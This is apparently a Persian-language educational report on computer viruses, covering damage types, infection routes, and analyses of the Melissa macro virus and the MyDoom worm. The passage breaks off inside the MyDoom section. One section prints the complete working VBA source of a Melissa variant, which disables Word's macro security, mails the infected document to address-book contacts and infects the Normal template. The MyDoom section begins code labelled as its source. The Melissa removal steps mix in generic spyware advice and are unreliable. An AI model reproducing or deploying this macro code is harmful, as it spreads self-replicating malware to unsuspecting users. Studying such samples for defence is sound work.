سرقت اطلاعات می تواند هدف اصلی یک ویروس سارق به حساب آید. البته نرم افزار های مخربی نیز وجود دارند که در کنار کارهای دیگر خود بر اساس شرایط خاصی مانند تاریخ و ساعت اقدام به سرقت از نوع مالی و اطلاعات می کنند. به عنوان مثال یک نوع اسب تروای LoveLet-A اطلاعات مربوط به کاربر و دستگاه او را به آدرسی در فیلیپین ارسال می کند.
– 5-5-1تخریب اطلاعات
ویروس ها عموما عمل تخریب اطلاعات را به خوبی انجام میدهند و یکی از مهمترین کارهای انها به حساب می آید. البته نوع و اندازه تخریب به نوع ویروس و هدف آن نیز بستگی دارد و عملکرد همه یکسان نمی باشد. بطور مثال ویروس XM/Compatable تغییراتی در اطلاعات صفحه های طراحی شده توسط برنامه Excel بوجود می آورد.
– 6-5-1پاک سازی اطلاعات
عملیات پاک سازی در سطح های مختلف بر روی اطلاعات موجود انجام می شود و ویروسهایی در این زمینه گزارش شده اند که تنها اطلاعات خاص را پاک نموده و برخی تمامی اطلاعات را پاک سازی می کنند.به طور مثال ویروس Michelangelo در روز 6 ماه مارس قسمتی از اطلاعات بر روی دیسک سخت را بازنویسی کرده و از بین می برد.

-7-5-1عدم دسترسی به سخت افزار
نوعی از ویروس ها فوق العاده خطرناک نیز در مجموعه ویروس ها وجود دارند که اقدامات جبران ناپذیری را در زمینه سخت افزار یک سیستم کامپیوتری انجام می دهند. اینگونه ویروس ها در برخی موارد اقدام به سوزاندن قطعات کامپیوتری کرده و در موارد معمولی تخریب اطلاعات برنامه ریزی شده بر روی دستگاه های سخت افزاری را به همراه خواهند داشت. اکثر ویروس هایی که بدین فرم عمل می کنند بر اساس زمان و تاریخ خاصی اقدام به انجام اینگونه تخریب ها می کنند. بطور مثال ویروس CIH یا ( W95/CIH-10xx ) Chernobyl، در روز 26 ماه آوریل اطلاعات بر روی بایوس را بازنویسی کرده و آنها را از بین می برد. بااین کار دستگاه غیر قابل استفاده خواهد شد.
– 6-1راه های ویروسی شدن
راه های مختلفی برای ورود ویروس ها به رایانه شما وجود دارد.مانند فلاپی دیسک ها،لوح های فشرده،مشاهده وب گاه،دریافت نامه های آلوده،اجرای فایل های دریافت شده از اینترنت و غیره.بنابراین لازم است که تمامی این موارد به هنگام استفاده مورد کنترل یک نرم افزار ضد ویروس قرار گیرد. به بیان دیگر هنگامی که می خواهید برنامه ای را از روی یک لوح فشرده اجرا کنید و یا نامه ای را باز کنید،باید آنها را توسط یک نرم افزار ضد ویروس وارسی کنید.
فراموش نکنید که شما همواره مراقب منزل خود هستید و دقت می کنید که در منزل و پنجره ها هنگام شب یا هنگامی که در منزل نیستید، باز نباشند. به همین ترتیب باید همواره وضعیت قسمت های مختلف کامپیوتر خود را کنترل کنید. این که اندازه های فایل های شما عادی باشد یا نه،این که مثلاً فایل جدیدی به کامپیوتر شما اضافه نشده باشد و بسیاری موارد دیگر که به تدریج می توانید آنها را یاد بگیرید.اما یک نرم افزار ضد ویروس به سادگی می تواند هر موقع که شما اراده کنید تمام سیستم شما را کنترل کند و شما را از عدم وجود ویروس در کامپیوتر مطمئن سازد.

فصل دوم-آنالیزویروس ملیسا
2-1-ویروس ملیسا یک خطر جدید
ویروس ملیسا که از طریق شبکه های کامپیوتری با سرعت حیرت آوری در اواخر مارس پخش شده بود لرزه بر پشت صنعت کامپیوتر انداخت.نگرانی این بود که ملیسا به سرعت از طریق ضمایم ایمیل آلوده گسترش می یابد و وقتی ایمیل باز میشودویروس به افراد کتابچه آدرس قربانی فرستاده می شود.این بدان معنی است که ملیسا پیش از اینکه متوقف شود بسیار سریع در دنیا پخش شده و سرورهای ایمیل را در هم می شکند.همچنین ملیسا اسناد حساس را نیز میتواند برای افرادیکه در کتابچه آدرس هستند بدون اینکه کاربرمتوجه شود بفرستد.الگوی ملیسا موذیانه است چون این ویروس طوری عمل می کند که ضمائم ایمیلی آلوده به نظر برسد از طرف فردی آمده است که دریافت کننده وی را می شناسد.
ملیسا امتیاز تهدید امنیتی بالقوه ایجاد شده توسط زبان های ماکرورانیز دارد. در این مورد ابزار برنامه نویسی برای برنامه های کاربردی مایکروسافت (VBA ) به برنامه های کاربران امکان اجرا در اسناد رامی دهد. در مورد ملیسا محقق عاملیت بد خیم را در سند استفاده شده به عنوان یک ضمیمه ایمیلی برنامه ریزی کرده است.به این دلیل ویروس ملیسا معرف یک توسعه جدید و بزرگ در تکنولوزی ویروس است.
ویروس های مشابهی می توانند بسیار بد خیم تر از ملیسا باشند این را JEFF Carpenterرهبر تیم پاسخگویی به حوادث در تیم پاسخگویی به موارد اضطراری کامپیوتری در دانشگاه Carnegie mellon میگوید.این می تواند انشعابات شدیدی داشته باشد چون بسیاری از سازمان ها وابسته به ایمیل برای وظائف خود هستند.بدتر از همه این نوع مشکل اجرای فعالیت های اینترنتی را بر هم زده و باعث دهها بیلیون دلار خسارت میگردد.این را MIChael A.vatis مدیر مرکز حفاظت زیر ساخت های ملی (NIPC)می گوید.
2-2-اثرات مخرب ویروس ملیسا
ملیسا در 26مارس جمعه شروع بکار کرد.
اثرات ملیسا
کاربران پیام های ایمیل را با موارد زیر دریافت کردند:
_ یک خط موضوعی که به دنبال نام قربانی قبلی که نام دریافت کننده را در کتابچه آدرس ایمیل دارد و احتمالا وی را می شناسد مطلب زیررا می خواند((یک پیام مهم از…))
یک پیام متنی که می گوید:((این سندی است که شما می خواهید …آن رابه کس دیگری نشان ندهید))
_یک ضمیمه به نام List.doc با لیست دارای نامهای کاربران وپسوردهای انها در سایت های وب مستهجن که از یک گروه خبری alt.sexگرفته شده است.
چون این پیام بنظر از طرف یک آشنا آمده است دریافت کننده راتشویق به بازکردن ضمیمه میکند.
اگر قربانی از ایمیلOutlook مایکروسافت وWord 97 یا2000Word استفاده کرده باشد دستورالعمل های مایکروویروس پیام وضمیمه آلوده را به 50 تماس در هر کتابچه آدرس ایمیل قربانی می فرستد. چون یک تماس می تواند معرف یک گروه از افراد باشد نه فقط یک فرد این ویروس میتواند به بیش از 50 دریافت کننده در یک لحظه فرستاده شود.این ویروس نرم افزار word را الوده و در ادامه تمام سندهای فعال شده Word را نیز الوده وبه این ترتیب امکان توزیع وگسترش ان فراهم میگرددو همچنین این ویروس باعث بروز تغییرات در تنظیمات سیستم بمنظور تسهیل در ماموریت خود میگردد.ملیسا الگوی normal.dotدرwordرا آلوده میکند که عموما برای ایجاد اسناد استفاده می شود.اسناد جدیدسپس با ملیسا آلوده می شوند.اگر کاربر اسناد آلوده را به صورت ضمیمه ایمیل کند دریافت کننده با outlookمایکروسافت، ویروس را با باز کردن ضمیمه فعال می کند بنابراین کپی هایی از آن اسناد آلوده به اولین 50تماس خود در کتابچه آدرسشان را ارسال می کنند.اگر این سند دارای محتویات حساس باشد باعث ایجاد مشکلات امنیتی خواهد شد.
در صورتیکه کلید رجیستری زیر در کامپیوتری وجودداشته باشد،نشاندهنده آلودگی سیستم به ویروس Melissa است.مقدار رجیستری فوق"by kwyjibo…." است.
HKEY_CURRENT_USERSoftwareMicrosoftOfficeMelissa
با انتشار ملیساسریعااین ویروس شروع به گسترش و بستن سرورهای ایمیل می کند.این به بسیاری از سازمانهای کوچک که ازیک سرور برای ایمیل و دیگر کاربری های مهم خود استفاده میکند صدمه می زند.
2-3-خسارت های فراوان ویروس ملیسا
ملیسا باعث بر هم ریختگی های شدیدی در سازمان های بزرگی مثل Microsoft،US Marine Corps،Honeywell،Intel ،E.I.du pont de Nemours and Co شده است.Shrader از Trend Microمی گوید:ملیسا سریعترین ویروس منتشر شده ای است که من بدون شک تا به حال دیده ام.TippettازICSA تخمین زده است که ملیسا حدود 2/1میلیون کامپیوتر و 53000 سرور را در 7800 شرکت در آمریکای شمالی آلوده کرده است که حداقل 200، PCداردوارزش آن بین 249میلیون و 561 میلیون دلار جهت نصب است. سخنگوی ICSA Barbara Rose می گوید از 300شرکت تحقیق شده هزینه مبارزه با ملیسا 1750دلار بود اگر چه برخی هزینه های بالاتر از 100000دلار رانیز گزارش دادند دراول آوریل آژانس های اجرای قانون از ظن در این مورد جلوگیری کردند.
در آخر هفته ای که ملیسا منتشر شد کاربران ITدرسازمان های آلوده شده شروع به یادگیری در مورد ویروس پرداخته و در بسیاری موارد سرورهای ایمیل خود را خاموش کرده و ویروس را از سیستم های خود حذف کردند برای مثال مجریان تمام ایمیل های با خط موضوعی امضای ملیسا را فیلتر کردند. ضمنا فروشندگان آنتی ویروس شروع به کار کردند. Schrader می گوید: این ویروس ساده ای است راه حل آن نیز ساده است برای ما فقط 20دقیقه، ایجاد یک الگو جهت شناسایی ویروس زمان می برد.
سازمان های دارای سیستم های مدیریت امنیت مرکزی کل شبکه خود را برای پاک شدن ملیسا اسکن کردند دیگر سازمان ها نیز باید دسک تاپ خود را اسکن کنند.
رشد فزاینده زبان های ماکرو این مفهوم را تقویت کرده است که ماکروویروس هارایج تر و خطرناک تر شده است. خصوصا از زمانی که ملیسا منتشر شده است زبان های ماکرو برای جاسازی انواع عاملیت ها در اسناد استفاده می شود. برای مثال کاربران می توانند یک تقویم رادریک گزارش هزینه جا بدهند،بنابراین میتوانند تاریخ های مسافرت را که در سند ثبت شده اند را پیگیری کنند.به این نکته Neil Charneyمدیر تولید ابزاربرنامه نویسی در بر نامه های کاربردی (VBA) مایکرو سافت در word 2000 اشاره می کند. بااین وجود نویسندگان ویروس مثل کسی که ملیسا را نوشته است می تواند از زبان های ماکرو در جاسازی یک عاملیت بدخیم دراسناد استفاده کند. فروشندگان برنامه های کاربردی زبان های ماکرو را برای محصولاتشان پیشنهاد میکنند. VBA ابتدا درسال 1993عرضه شد و در آفیس ماکروسافت که بزرگترین محیط کاربردی است استفاده شد، بنابر این بیشترین استفاده را از زبان ماکرو داشته است .Charney می گوید علیرغم نام آن ماکرو ها برای کارهای بیش از ایجاد ماکروها دروظایف خودکار استفاده شده اند. وی می گوید: VBA می تواند به عنوان یک محیط توسعه باشد برای مثال وی گفت VBA با افزایش طرح هایی که فروشندگان را شامل نمی شود برای بهبود برنامه های کاربردی مایکروسافت استفاده شده است بعلاوه VBAبرای ادغام عاملیت چندین برنامه کاربردی استفاده میشود برای مثالCharney میگوید به جای وارد کردن دستی داده ها از یک پایگاه داده به یک صفحه گسترده استفاده شده است.
Dan Shchraderمدیر تجاری ایمنی در Portal Division at Trend Macroکه یک فروشنده نرم افزار های آنتی ویروس است بر این نظر میباشد که بسیاری از کاربران قوی این قابلیت ها را می خواهند، با این وجود می گوید صنعت کامپیو تر باید مراقب باشد چون زبان های ماکرو میتواند اسناد را تبدیل به برنامه های قابل اجراکند. کاربرانی که سندی را فقط برای خواندن باز میکنند نادانسته یک برنامه جاسازی شده را فعال می کنند که می تواند بد خیم باشد. عموما عاملیت بیشتر منجر به امنیت کمتر می شود.
Roger Thompsonمدیر فنی تحقیقات کدهای بد خیم در انجمن بین المللی امنیتی کامپیوتر که یک مشاوره دهنده امنیتی است می گوید طرح هایی مثل VBAانجام کارهای خوب وبد را آسانتر کرده استSchrader.
می گوید زبان های ماکرو نوعی طرح متداول هستند که از بین نمی روند بنابر این صنعت کامپیوتر باید راهی را برای زندگی ایمنتر با آنها پیدا کند.
2-4-متغیر ها و گونه ها
دو روز پس از انتشار، ویروس نویسان چندین گونه از ملیسا را با نام های Madcow ،Papa ،Syndicate Marauderمنتشر کردند. برای مثال Papaاکسل مایکروسافت را تحت تاثیر قرار می دهد که مثل word،VBAرا پشتیبانی می کند. وقتی یک قربانی از outlook مایکروسافت باز شده در ضمیمه ای برپایه اکسل در یک نوشته ایمیلی استفاده میکند،ویروس یادداشت وضمیمه ای به اولین 60تماس در کتابچه آدرس قربانی ارسال می کند .Roger Thompson مدیر فنی ICSA در تحقیقات کد های بد خیم اشاره می کند که نویسندگان گونه های خود از کد های ملیسا را به چندین گروه خبری مدت کوتاهی پس از انتشار ارسال کرده اند . با این وجود بسیاری از شرکتهای آنتی ویروس منتظر گونه ها بوده و نرم افزارهای بروزی که بتواند آنها را شناسایی کند تولید کرده اند.
2-5-بازداشت فرد مظنون به تولید ملیسا
با انتشار ملیسا در شبکه ها در 26مارس آژانسهای اجرای قانون مثل FBIشروع به جستجوی تولیدکننده ویروس کردند. آنها منبع ویروس را در نیوجرسی رد یابی کردند.
در اول آوریل ،محققین جرم های کامپیوتری با پلیس ایالتی نیوجرسی وبخش امنیت عمومی وقانون David L. Smith 31ساله که یک برنامه نویس است و در نیوجرسی زندگی میکند را بازداشت کردند.

شکل،David L.Smith(در مرکز)از دادگاه می خواهد که به دفاعیات وی در ایجاد ویروس ملیسا گوش دهند. وی همراه با وکیل خودEdward F.Borden است. محققین Smith رامتهم به برهم زدن ارتباطات عمومی، توطـیه در برهم زدن ارتباطات عمومی وتلاش برای برهم زدن ارتباطات عمومی با اتهام درجه2وسرقت از سرویس های کامپیوتری وصدمه و فعالیت نامشروع در سیستم های کامپیوتری با اتهام درجه 3کردندووی پس از گذاشتن 100000دلار وثیقه ازاد شد.وکیل Smithاز پرنستون نیوجرسی در دفاع از وی تمام اتهامات را قبول نکرد.
Smithبا حداکثر جریمه 480000دلار و40سال زندان طبق گفته Paul Loriquetسخنگوی دفاتر عمومی وکلای نیوجرسی محکوم شد. با تکمیل تحقیقات دفتر عمومی وکالت به هیات منصفه ایالت دلایلی را می فرستند تا دادگاه در کیفر خواست وی تصمیم بگیرد.
2-6-نتیجه گیری
ملیسا بر این تاکید دارد که سازمان ها باید رمزدار کردن تمام ایمیل ها را متوقف کنند. وقتی پیام ها رمزدار شدند نرم افزار آنتی ویروس محتویات آن را نمی تواند بخواند وبنابراین نمی تواند تعیین کند که آیا دارای ویروس های ایمیلی مثل ملیسا هستند یا نه. مردم نیاز به رضایتمندی بیشتردارند رمز دار کردن تمام ایمیل ها آیا لازم است؟ شاید آنها فقط مهمترین ایمیل ها را رمز دار کنند. البته متخصصین ویروس می گویند کاربران باید مراقب باشند مثلا در استفاده وبروزرسانی نرم افزار های آنتی ویروس.
Carpenterمی گوید: وقتی ایمنی مورد توجه زیاد نشریات قرارمی گیرد من فکر می کنم هنوز افراد زیادی وجود دارند که اولویت لازم را به این موضوع نمی دهند. کاربران میزان مشکل را درک نمی کنند ومتوجه سرمایه گذاری های لازم برای محافظت نیستند.
2-7-سورس کد ویروس ملیسا

"Melissa" virus source code

This is the source code (in VBS) of the Duke/SMF variant of the virus "Melissa" written by Kwyjibo, which started spreading on Friday, March 26, 1999.

Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") <> "" Then
CommandBars("Macro").Controls("Security…").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1): Options.SaveNormalPrompt = (1 – 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") <> "… by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for … don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") = "… by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <–> Word 2000 … it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

——————————————————————————–
2-8-روش پاکسازی ویروس ملیسا
کشف شده: 26 مارچ 1999
آپدیت شد: 13 فوریه 2007
شناخته شده: W95 M.melissa
نوع: ماکرو
سیستم های تاثیر پذیر: ویندوز 2000 ، ویندوز 95 ، ویندوز 98 ، ویندوز ME ، ویندوز NT ، ویندوز XP ملیسا یک ویروس هاکروی معمولی است که یک Payload غیر عادی دارد.
موضوع پیغام ملیسا هست.
Importani Message From username
اجرا کردن ابزار و حذف کردن ویروس:
Live updete تان راRun کنید و مطمئین شوید شما تعاریف ویروس اخیر تان را دارید.
1- آنتی ویروس نورتون را شروع کنیدو مطمئن شوید که NAV
Norton Anti Virus)) برای اسکن کردن همه فایل ها ترکیب بندی شده است.
2-Scan را به طور کامل اجرا کنید.
3- اگر هر فایلی به عنوان آلودگی با ملیسا نمایان شد روی Repair کلیک کنید.
چرا باید ملیسا را حذف کنید؟
حذف به صورت دستی یک فرآیند مشکل است و توصیه نمی شود مگر اینکه شما در این زمینه خبره باشد بنا بر این بهترین دفاع دانلو کردن و نصب یک برنامه Anti- Spyware قابل اعتماد برای Scan کردن ملیسا Spyware های دیگر روی ماشین تان است. (به منظور نمایان کردن ملیسا به آسانترین و سریع ترین راه ممکن ما توصیه می کنیم.Spyhunter Scanner را فراهم کنید)
حذف کردن ملیسا به صورت دستی:
برای کشتن فرآیند های ملیسا، Cirl +all +delete را فشار دهید تا پنجره Task manager باز شود روی Processes Tab کلیک کنید وبرای ملیسا جستجو کنید، آنگاه کلیک راست کنید و End process را انتخاب کنید.
شما همچنین نیاز دارید کلید های رجیستری ملیسا را حذف کنید برای حذف کلیدهای رجیستری روی Start در پایین کلیک کنید Run را انتخاب کنید تا پنجره Registry Editor باز شود. یک پنجره نمایان می شود. Regedit را درونBox تایپ کنید ورودی OK کلیک کنید.
برای کلید رجیستری، جستجو کنید.
Hkey_Local_Machine/software/Melissa
کلیک راست کنیدو Delete را انتخاب کنید.

فصل سوم-آنالیز کرم MyDoom
3-1-بررسی عملکرد کرم Mydoom
در ساعت نه روز چهارشنبه 28 ژانویه 2004 مطابق با هشتم بهمن 1382، شرکت مایکروسافت بررسی لازم در خصوص گزارشات دریافتی مبنی بر شیوع یک کرم جدید با نام Mydoom و یا Novarg و Mimail _R شناخته شده با نام Mydoom.B را آغاز نمود. بر اساس گزارشات دریافتی، کرم فوق امکان دستیابی به برخی وب سایت ها نظیر تعدادی از وب سایت های مایکروسافت را سلب می نماید. کرم فوق، تلاش می نماید که گیرندگان نامه های الکترونیکی را گمراه و آنان را تشویق به باز نمودن پیامی نماید که دارای یک فایل ضمیمه است. در صورت فعال شدن فایل ضمیمه، کرم Mydoom.B کدهای مخرب را بر روی کامپیوتر کاربر نصب و نسخه ای از خود را برای تمامی افراد موجود در لیست دفترچه آدرس کاربر، ارسال می نماید . محصولاتی که متاثر از کرم فوق می باشند، عبارتند از:

* Microsoft Outlook
* Microsoft Outlook Express
* Web -based e-mail programs
در قالب فرستنده یک آدرس تصادفی از سایتهای AOL، MSN، Yahoo و Hotmail به چشم می خوردومعمولا در بخش موضوع نامه های ارسالی عناوینی مانند عبارتهای زیر مشاهده می شود:
Undeliverable : error / undeliverable : hil / undeliverable ; test/
Mail Transaction / Mail Delivery system / Mail transaction failed /
Error / hello / Delivery Error / unable to deliver the message /
Server Report / Status / Returned Mail / Test /Failed / Random characters
محتوای متن نامه ها حاوی مواردی چون:
-[ random characters ]
-Test
-The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment .
-Sendmail daemon reported : Error #804 occurred during SMTP session . partial message has been received .
-The message contains Unicode characters and has been sent as a binary attachment .
-The message contains MIME – encoded graphics and has been sent as a binary attachment .
-Mail transaction failed . partial message is available .
فایل ضمیمه که حاوی فایل اجرایی کرم است به شکل زیر است:
{ body , doc , text , document , data , file ,readme, message } . { exe , bat , scr , cmd , pif }
ناگفته نماند که این کرم از طریق شبکه های p2p نیز منتقل می شود. به گزارش مرکز تحقیقات mail filtering میزان انتشار این کرم بسیار بالا و حدودا از هر 12 ایمیل ارسالی یکی را در بر میگیرد. آخرین کرمی که توانسته بود به سرعتی بالا در انتشار دست یابد sobig-f بود که از هر 17 ایمیل یکی را در بر می گرفت. گفته می شود این کرم در روسیه متولد شده است. به نوشته z-virus این کرم به گونه ای طراحی شده که پیام آلوده برای نشانی هایی چون yahoo,MSN و مایکروسافت و دیگر دامنه های مشهوری که از سیستم های شناسایی سریع نرم افزار های مخرب برخوردارند ارسال نشود.

3-2-تاثیرات این کرم بر روی ویندوز
تاثیرات این کرم برروی سیستم شامل:
درمسیر پوشه ویندوز. Ctfmon.dllوExplorer.exeایجاد دو فایل به نامهای
:Explorer.Exe
ایجاد شده اشت.بر خلاف C:$windowssystem3 در ریشه MyDoom.Bتوسط سیستم اجرا شده است کهstarttupصحیح این فایل در c:$windowsexplorer.exe
دوباره مقداردهی شده وویروس رااجرامیکند.
ویندوز دارای فایلی با نام explorer.exe در پوشه پیش فرض خود است. فایل دوم نیز همنام یکی از فایلهایی است که با نرم افزار Office نصب می شود.
Ctfmon.dll:
فایل Ctfmon.dll توسط کرم Mydoom در ریشه C:$windiwssystem32 ایجاد شده است ودر پردازش windows Explorer تزریق شده است.این باعث میشود کرم در حافظه بدون لیست شدن در لیست پردازش ها در ویندوز باقی بماند.
* تغییر فایل HOSTS: این فایل مرجع اولیه ویندوز برای Name Resolution می باشد که در مسیر زیر قرار دارد:
%winDir%system32driversetchosts
اعمال تغییرات زیر در رجیستری ویندوز(این تغییرات جهت اجرای کرم حین شروع به کار سیستم اعمال می شود. بنابر این با متغیر مربوطه از مسیر رجیستری زیر،کرم اجرا نخواهد شد.)
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows CurrentVertionRun
متغیر و مقدار ایجاد شده توسط کرم :
''Explorer"="%System%exp1orer.exe"
HKEY_CLASSES_ROOTCLSID{E6FB5E20-DE35-11CF-9C87- 00AA005127ED}Inprocserver32
* تاثیرات شبکه ای :
-کرم بلافاصله پس از نصب اقدام به ارسال ایمیل به تمامی آدرسهای موجود در کامپیوتر میزبان می کند. این مساله دو تاثیر خواهد داشت:
1.تکثیر کرم از طریق Address Book کامپیوتر میزبان:
2.بعضی از سرورهای ایمیل دارای برنامه های ضد ویروس هستند و جلوی ارسال ایمیلهای مخرب را می گیرند. همین مساله خود می تواند مشکل ساز باشد. همانطور که اشاره شد این کرم آدرس مبدا را جعلی انتخاب می کند (Source spoofing ) بنابراین ممکن است ایمیل برگشتی از سرور که خود حاوی کرم است به یک آدرس دیگر ارسال شود و شخص دیگری را آلوده سازد.
-ایجاد یک backdoor بر روی یکی از پورتهای 10080، 8080، 80، 3128، 1080. از این Backdoor ممکن است بعدا جهت دسترسی به اطلاعات کامپیوتر میزبان استفاده شود.
– پویش سیستمهایی که پورت TCPشماره 3127 بر روی آنها باز است . (علت این قضیه دقیقا مشخص نیست ولی همین امر می تواند بر ترافیک شبکه بیافزاید (.
کرم از اول فوریه 2004 شروع به حمله DDoS علیه سایت مایکروسافت کرد.
یکی دیگر از عوارض این کرم اجرای نا به هنگام و ناخواسته نرم افزار Notepad است. در این حالت Notepad از کاراکترهای نا مفهوم پر می شود. به جز موارد اشاره شده اگر تاریخ دستگاه بین 12 تا 23 بهمن باشد کرم اقدام به حمله به سایت Sco از طریق حمبه DoS می کند. این کار باعث می شود سایت مذکور برای مدتی از کار بیفتد . گونه های مختلفی از این کرم در سالهای 2005 و 2006 نیز منتشر شده است.
گونهB My Doom دو روز پس از رها سازی قبلی آن یعنی MyDoom.A ظاهر شد. ویروس ایمیلی با انتشار بالای My Doom نشاندهنده ویژگی های ویروس های ایمیلی قبلی است. با این وجود ویروس My Doom یکی از آلوده کننده ترین هاست. علاوه بر آلودگی میزبان بوسیله اجرای ویروس توسط کاربر از یک ضمیمه ایمیلی آلوده.
My Doom.B به سرعت explorer .exe را در C:$windowssystem32directory قرار داده و بدقت مراقب است که آن را در فایل قانونی و صحیح ویندوز C:$windowsexplorer.exe قرار ندهد بعلاوه این کرم فایل زیر را نیز ایجاد می کند C:$windowssystem32ctfmon.dll چون فایل های DATویروس قبلی بدنبال فایل های My Doom. A هستند My Doom. B تا زمانیکه شبکه قادر به بروز رسانی فایل DAT خود شود تا آنها را در برابر My Doom. A محافظت کند، My Doom. B سریعا آلوده می کند.
3-3-سورس کد کرم MyDoom
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma pack(push, 1)
struct zip_header_t {
DWORD signature; /* 0x04034b50 */
WORD ver_needed;
WORD flags;
WORD method;
WORD lastmod_time;
WORD lastmod_date;
DWORD crc;
DWORD compressed_size;
DWORD uncompressed_size;
WORD filename_length;
WORD extra_length;
};
struct zip_eod_t {
DWORD signature; /* 0x06054b50 */
WORD disk_no;
WORD disk_dirst;
WORD disk_dir_entries;
WORD dir_entries;
DWORD dir_size;
DWORD dir_offs;
WORD comment_len;
};

struct zip_dir_t {
DWORD signature; /* 0x02014b50 */
WORD made_by;
WORD ver_needed;
WORD flags;
WORD method;
WORD lastmod_time;
WORD lastmod_date;
DWORD crc;
DWORD compressed_size;
DWORD uncompressed_size;
WORD filename_length;
WORD extra_length;
WORD comment_length;
WORD disk_no;
WORD internal_attr;
DWORD external_attr;
DWORD local_offs;
};
#pragma pack(pop)

/* crc32.c — compute the CRC-32 of a data stream
* Copyright (C) 1995 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* $Id: crc32.c,v 1.5 1996/01/13 14:55:12 spc Exp $ */

static const unsigned long crc_table[] = {
0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L,
0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L,
0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L,
0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,
0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L,
0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L,
0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L,
0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L,
0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL,
0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L,
0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,
0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L,
0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL,
0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL,
0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,
0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L,
0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L,
